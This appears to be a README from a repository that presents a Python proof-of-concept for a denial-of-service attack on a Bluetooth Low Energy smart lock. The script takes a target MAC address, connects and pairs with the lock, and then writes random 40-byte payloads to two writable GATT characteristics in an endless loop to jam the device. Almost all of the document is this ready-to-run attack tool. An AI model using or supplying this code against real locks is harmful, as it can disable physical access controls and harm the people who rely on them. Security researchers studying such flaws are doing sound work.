README.md
Rendering markdown...
import asyncio, os, argparse
from bleak import BleakClient
# MY DEVICE
MAC = "CC:38:35:30:6F:83"
class POC():
"""POC for DOS attack on BLE Lock"""
@staticmethod
async def _fuzz(mac: str):
"""This is responsible for fuzzing"""
# STATIC UUIDS of my DEVICE --> MAC // THESE CHARS HAVE WRITE REQUEST <-- FUZZING / /CHANEGE UUIDS (property=write), if different
characteristics = ["00000001-0000-1001-8001-00805f9b07d0", "00002a01-0000-1000-8000-00805f9b34fb"]
while True:
try:
async with BleakClient(mac) as client:
print("[*] Attempting Connection...")
client.connect()
if client.is_connected:
print(f"[+] Successfully connected to: {mac}")
print("[+] Launching connection JAM!\n"); await client.pair()
# THIS IS
while True:
for char in characteristics:
payload = os.urandom(40)
await client.write_gatt_char(char_specifier=char, data=payload)
print(f"[+] Fuzz: {payload.hex} --> {mac}")
except Exception as e:
print(f"Exception Error: {e}")
pass
@staticmethod
def main():
"""Start class action"""
parser = argparse.ArgumentParser(description="Input ble lock mac to fuzz")
parser.add_argument("-m", required=True, help="Input mac address")
args = parser.parse_args()
mac = args.m
if mac: asyncio.run(POC._fuzz(mac=mac))
else: print("[!] Input mac silly") # <-- FOR SHOW
if __name__ == "__main__":
POC.main()